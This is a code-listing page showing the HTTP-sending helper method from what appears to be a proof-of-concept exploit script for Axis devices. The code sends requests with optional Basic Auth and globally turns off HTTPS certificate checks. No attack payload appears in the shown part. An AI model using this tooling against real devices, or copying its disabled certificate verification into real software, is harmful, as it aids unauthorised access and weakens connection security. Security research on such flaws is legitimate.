axis-ssid-PoC.py 文件源码

python
阅读 31 收藏 0 点赞 0 评论 0

项目:PoC 作者: mcw0 项目源码 文件源码
def Send(self, uri):

        # The SSI daemon are looking for this, and opens a new FD (5), but this does'nt actually
        # matter for the functionality of this exploit, only for future references.
        headers = { 
            'User-Agent' : 'MSIE',
        }

        # Connect-timeout in seconds
        timeout = 5
        socket.setdefaulttimeout(timeout)

        url = '%s://%s%s' % (self.proto, self.host, uri)

        if self.verbose:
            print "[Verbose] Sending:", url

        if self.proto == 'https':
            if hasattr(ssl, '_create_unverified_context'):
                print "[i] Creating SSL Default Context"
                ssl._create_default_https_context = ssl._create_unverified_context

        if self.credentials:
            Basic_Auth = self.credentials.split(':')
            if self.verbose:
                print "[Verbose] User:",Basic_Auth[0],"Password:",Basic_Auth[1]
            try:
                pwd_mgr = urllib2.HTTPPasswordMgrWithDefaultRealm()
                pwd_mgr.add_password(None, url, Basic_Auth[0], Basic_Auth[1])
                auth_handler = urllib2.HTTPBasicAuthHandler(pwd_mgr)
                opener = urllib2.build_opener(auth_handler)
                urllib2.install_opener(opener)
            except Exception as e:
                print "[!] Basic Auth Error:",e
                sys.exit(1)

        if self.noexploit and not self.verbose:
            print "[<] 204 Not Sending!"
            html =  "Not sending any data"
        else:
            data = None
            req = urllib2.Request(url, data, headers)
            rsp = urllib2.urlopen(req)
            if rsp:
                print "[<] %s OK" % rsp.code
                html = rsp.read()
        return html
评论列表
文章目录


问题


面经


文章

微信
公众号

扫码关注公众号